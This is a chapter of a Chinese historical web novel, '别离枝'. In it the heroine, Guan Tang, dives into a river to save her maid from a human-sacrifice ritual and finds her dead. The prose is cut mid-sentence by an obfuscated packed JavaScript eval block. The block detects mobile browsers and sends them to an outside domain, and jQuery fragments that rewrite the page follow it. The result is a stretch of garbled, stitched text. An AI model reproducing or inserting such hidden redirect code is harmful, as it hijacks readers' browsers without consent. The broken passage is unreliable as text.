24.第 24 章
作品:《别离枝》 此时,罗城东面的山坳间出现了一列疾行的队伍,个个身披竹笠,雨水落在其上仿佛叩击铜鼓,铮然作响,随后很快飞溅四散开来,霎时间,大队人马尽笼于氤氲雨雾里。
这是静江府知府刘弢暗中调用来梧州的厢军,岑禄、德庆以及观棠原先的一位家丁也在其中,加起来有二十来人。
他们自静江府一路南下,昼夜赶路,万幸这一路没有遇到山崩侵路,众人算是安然无恙到达了梧州。
到了城外,岑禄远远看见郁江边的堤岸上站了一排又一排人,幢幢黑影森然肃立,便转头对这支队伍的统领马勰道:“马都头,我怎么感觉前方不太对劲?”
马勰也觉奇怪,点了个两人前去探查,过了半个时辰,那两人回来道:“都头,好像是当地土司和大祭司在江上行什么祭祀礼。”
德庆有些惊诧,望了一眼岑禄低声道:“祭祀?此地竟还有这样的风俗?”
岑禄道:“德庆小弟,这你就不懂了,广右域内汉夷混居,百族风习殊异,往后你随大人去的地方多了,慢慢就能体悟到了。”
“那咱们就在此地干等着?”德庆看了看周遭,此处空旷,也没有地方避雨。
岑禄看向马勰,后者正勒着缰绳道:“岑先生,我看还是先进城吧,此地不宜驻军,更何况这雨还不知道要下多久。”
岑禄也正有此意,于是一行人朝着那罗城的广渠门而去,此门便是当初观棠险些溺水的地方,得益于这几日的疏浚,瓮城内的积水已褪去大半,虽仍淹没至马肚,但尚能通行。
入了城,德庆原先担心梧州锁城导致城内动乱,夫人的境况难以预测,却见罗城内倒并没有他想象中糟糕,只是各处房屋倾颓,一路上连尸首都未曾见到,心下稍松口气。
此时雨势愈狂,好似千粒万粒豆子倾泻,隔着竹笠砸在人身上生疼,也叫他们这些连日赶路的人生出倦意,想要快些寻个地方歇脚。
他们大队人马进城,但衣着没有明显的标识,很快便引起才从衙城入罗城的兵马营的注意。伍潼派了几个人驻守在离广渠门不远的地方,听手下来报说那几十个人是静江军,面上难掩惊惧之色。
徐继昌不是说静江府不会派人吗,这又是怎么个事?
来不及细思,伍潼命那传递消息的兵卒迅速去衙城通报徐知州,他现下尚无心顾及旁的,迎向那黎夏族的大祭司投来的充满疑虑的目光,又望了一眼木筏上的女子,伍潼深吸一气道:“大祭司,仪式可以开始了。”
与此同时,观棠等人正在雨中拔足狂奔,他们沿着城墙一路跑到镇南门前,果见城门大开。
“这样跑是跑不赢的,我去找马!”赵令羽在雨中喊道。
观棠慌乱摇头道:“来不及,来不及……”
栾慧知道她此刻心神大乱,伸手扶住她的臂膀道:“夫人,咱们先往江边走,叫赵队将派人去寻马,如何?”
赵令羽见状,吩咐四个部将去找马,然后和观棠等人继续往江边的方向奔去。
马勰所携的静江军此刻正歇在一处被洪水带走的屋宅空地,马勰道:“岑先生,我看这梧州城并不像您先前所说那般境地。”言辞之间倒有些埋怨之味。
岑禄回身看了眼这一路跟着他们的观家家丁,此人正十分焦急地四处张望着,擒起一抹若有似乎的笑,对马勰道:“马都头,兴许是这几日梧州知州治理有方,控制了水患呢。”
马勰知道这人是经略使身边的谋士,即便身无半职,一言一行也会影响到谢闻,便撇了撇嘴不再说什么。
“这么大个梧州城,该从何找起?”德庆忧道,“万一夫人见水势减缓,带人出城了呢?”
“咱们这一路南行,走的都是官道,并未撞见夫人的车马。”岑禄说罢,心中隐隐涌上了一股厌烦感。这观氏女还未到静江府,便搅得众人都要为她奔波,他们连日蹉跎,到了梧州却见城内一派安稳,指不定那贵女现下在哪个屋子里舒舒坦坦地等着他们去“接驾”呢。
他心下正烦闷着,见面前好些人都在往江边赶去,面上竟多是瞧热闹的神色。
“莫非是赶着去江边看祭祀?”德庆道,随后低声询问马勰:“马都头,此地祭祀难道是生人祭?”
马勰听他所说,吓了一跳道:“这不应当吧,大兆律法早就不许这些部族明着采牲祭祀了,况且就算还有部族保留这习俗,也不可能发生在梧州这种汉官管治的地方。”
岑禄听他所言,仍做主拦了几个过路人问话,得知是传说中的厄母娘娘现身,要行祭祀水神之礼。
“果真是生人祭?”马勰听了一个头两个大:“这下真不好办了。岑先生,你说咱们要不要去拦一下?”
岑禄思忖片刻,道:“咱们初来此地,还是不要惹是非了。”说罢四处望了望,见往那江边汇聚的人愈发多了,岑禄暗觉不妙,说:“马都头,罗城地势低,不宜久留,咱们先往衙城去吧,我想夫人定是宿在衙城官驿里。”
众人便又翻身上马,往衙城而去。
岑禄和马勰当先,迎面便见四个从疾驰而来的身影,那几人身量不一,见到他们这支队伍,猝然停下了脚步,此举立刻引得马勰警觉得勒马,岑禄动作不及他快,勒马向前走了几步才停下。
四人中有一个疤面男子,生得人高马大,虎视眈眈地看着岑禄,使得后者握紧了手中缰绳。这时,他身后倏然窜出来一个矮个子男子,似想上前拦马,岑禄正躁着,抬鞭便挥了过去,骂道:“不长眼的家伙,敢拦爷的马?”
他这一鞭挥过去,不知自己有没有打到人,因见那疤面男子迅速将矮个子男子扑倒躲去了,心中更添烦躁,大声喝道:“再上前便不是鞭子,而是刀剑了!”
见扑在地上的二人不再动弹,马勰上前道:“岑先生,你没事吧?”
“这些刁民!”岑禄恨恨打马而去,马勰挥了挥手,令队伍速速跟上。
二十余骑踏过地面,恍若地龙翻覆,使得趴在地上的观棠五脏六腑皆在震动。
“夫人!赵队将!”
栾慧边喊着边手忙脚乱将他二人扶起,赵令羽本就有伤,方才那一下牵扯到了腰间伤口,忍着剧痛从地上爬起,观棠后他一步被扶起,她抬起头的瞬间,一道马鞭抽出的血痕自颈间蜿蜒而下。
冷雨打在女子身上,与那抹血色交汇融合,衣衫顿时洇开一片凄艳的红。
栾慧咬牙道:“这样不行,夫人,我们回药铺吧。”
观棠置若未闻,只是往前迈着步子,他们不知该阻她还是该拦她,正踌躇时,突然听见身后传来马蹄声,赵令羽下意识将几人护在身后,转过身却见是他的两个部将。
“头儿!”两人大喊一声翻身下马。
赵令羽还未回过神,便觉一道纤影扑到马旁,定睛一看,观棠已经拽着缰绳上了马,随后立刻拍马而去。
她心中焦灼万分,根本不及择路,也不知道自己身后有没有人,她脑海中只有一个念头,救人,不管那人是青红还是旁的人,她一定要救下。
一路疾驰到了江边,唯见滩头坪地皆被乌泱泱的人群围了个严实,江面上似燃着什么东西,一团红艳艳的光穿透了雨幕。
观棠只感觉那雨中的大火似也在烤着自己的五脏六腑,声嘶力竭地朝人群喊:“让一让!让一让!给我让开!”
她的声音甫一出便被周遭雨声淹没,身下的高马在人群里更是寸步难行。
若她就这样扬鞭踏过去,是不是就能及时赶到那火光之处?她想到这里,几乎真的要举起马鞭了,可是手才举到半空中,又僵住了。
这些人,他们的眼中竟交织着无知的茫然与愚昧的灼热,更有一种看客般蠢动的兴奋。
他们的神色甚至让观棠感到一丝恐惧,仿佛此刻伫立在岸边的这些人都只是行尸走肉。这几日在罗城里,无论是在粥棚前,还是疏水时,观棠只觉他们是无比良善之人,就连那个一心救子的黎夏女子,观棠到现在都还在为她痛心。
怎么会这样?
为何会这样?
这些百姓在岸边,难道都是为了目睹那样残忍的祭祀?
他们的目光如同江上的雾霭,无比空洞,其间却又闪烁着好奇的幽光,这些光好似无数枚利刃刺向了观棠。
转瞬间,无论是她暴露在雨中的皮肤,还是攥着马鞭的掌心,都传来了令观棠难以忍受的痛楚,使得她要费好大的力气才能压下心头的哀嚎。
这时,最靠近江边的人群里突然传出一声惊呼,随后便如一浪又一浪,人声愈发沸腾了起来。
观棠依稀听见马下的人道:“仪式开始了!”
“那女的要入江了!”
她听见这话,再顾不得其他,翻身下了马,尝试穿过人群往里走。她不知道自己推开了多少人,又有多少人踏在她的脚上、腿上,脚下是泥潭,她上方的天空也越来越昏暗……突然间,观棠一个
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16211182|176473||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
趔趄,竟从人群里被推了出去。
她回头一看,发觉自己竟不知不觉已经走到了最靠近江边的地方,不远处便是她先前看到的那团火光,原来是仪式堆砌起来的篝火燔燎。
几个巫祝正执戈扬盾,跳跃呼号,火光照映着他们狰狞的傩面,景象诡谲,使得方才还喧嚣极了的人群一片肃穆。
观棠知道自己当下一片狼藉,足下无鞋,头上无钗,恐怕脖子上的伤口也很是可怖,可她还并不在意,疾趋到了燔燎旁。
几个官兵见她这般模样出现,立刻举刀喝止,但他们面前的女子竟丝毫不惧那些刀剑,竟不要命似的一股脑儿地想要往里冲。
他们只顾拦着观棠,不知观棠目光紧锁着的江面之上,那载着女子的木筏正往江心飘去。
江水湍急,木筏随时会倾覆,而那女子困于牢笼,转眼便会瘐死水中。
这就是最恶毒的生人祭!
观棠迎着刀剑,朝周围人吼道:“我是广南西路经略安抚使夫人观棠!大兆有律,杀人祭鬼者,以故杀人论!尔等无识!黩神右鬼妖巫凭之!还不速速停下!”
听见她的声音,伍潼不可置信地转过头,见面前浑身泥泞、头发缭乱的女子正费力想要冲过那些兵卒的阻拦,大步上前道:“何人在此造次!”他话音才落,便觉江边的人潮里发出阵阵惊呼。
顺着众人的目光,伍潼回过头,见那江上小筏正打着旋,似逐渐被什么吞没,而在其中的女子被吓得发出阵阵尖叫声。
她的声音传入观棠耳中,使得她如遭雷击。
是青红!
是她的青红没有错!
见自己面前的兵卒们也被那江中祭祀景象所吸引,观棠一把推开拦着她的士兵,拔足奔到了江边,随后纵身一跳。
好似一枚雨滴落入水中,转瞬了无踪迹。
远处的人群并不知道发生了什么,只看到有一个人似不要命地跃入江水,正议论着,迟她一步赶到的栾慧看到此情此景,在雨中怒吼道:“你们疯了吗!睁大你们的眼睛看看,那是经略使夫人!那是你们口中的厄母娘娘!”
伍潼听他所说,心道不好,恐怕方才那女子真的是观氏女,令左右士兵一拥而上制住了栾慧,后者立时目眦欲裂破口大骂,却听远处传来蹄铁铮铮声,惊破了旷野。
紧接着,众人的视野里出现了一群如龙蜿蜒的虎贲骑军,其势如剑出鞘,带来的肃杀之气与江滩上方才发生的生人祭相碰,好似天兵天降。此情此景,就连方才那跳着舞吟诵着什么的巫觋不由地都停下了步足,却见铁骑为首之人身上披着一件墨色的桐油披风,仿若旌旗在风雨里翻飞,气势迫人。
江边的百姓们不由自主地让开了一条供两马并行的宽阔道路,为首之人一路疾行到了江畔,直到那围着燔燎的平地才勒马止步。
“你……你是何人?”伍潼方才未阻观棠跳江,正心绪不宁,见这打马而来的男子一身凛然煞气,眉峰如刃,眼中倒映着燔燎的眸光似炬,好似从那燃着烈焰的地府来向他索命的,说话不由地哆嗦了起来。
“我乃广南西路经略安抚使,谢闻。”
谢闻话音才落,身后的人群骤然爆发出惊呼,然而那惊涛骇浪般的声音,却无一因他而起,因为谢闻面前的江岸边,突然出现了一个人影。
从身量来看,此人应当是一个女子,她不知道哪里来的力气,竟能在如此湍急的江水中托举着另一个人回到岸边。
待到近前,众人更忍不住惊叫了起来。
面前的女子头发披散,肤色骇人得苍白,偏偏胸前的衣襟浸满了血色,而她正拼尽全力拥着上岸的人,肢体绵软,显然已经失去了生息。
恰在此时,观棠脖颈伤口处的血滴在怀中之人的面上,仿佛为她画上了朵朵红莲。
这是一种撼天动地的景象,那缄默的死者被赋予了炽烈的红,而那一步一步走回众人面前的生者,却呈现出一种叫人绝望的白。
被兵卒们压迫在地的栾慧看到此情此景,忍不住哭嚎道:“夫人!青红!”
他这一声引得周围人竟也竞相哭嚎了起来,更有甚者匍匐在地喊道:“厄母娘娘现身!厄母娘娘恕罪!”
在这一声接一声如山呼海啸般的“厄母娘娘”中,观棠像是将初生的婴孩放回温床般,把青红慢慢放到了地上。
随后她抬起头,在混沌的雨水中,看向高马之上的人。
她的夫君,谢闻。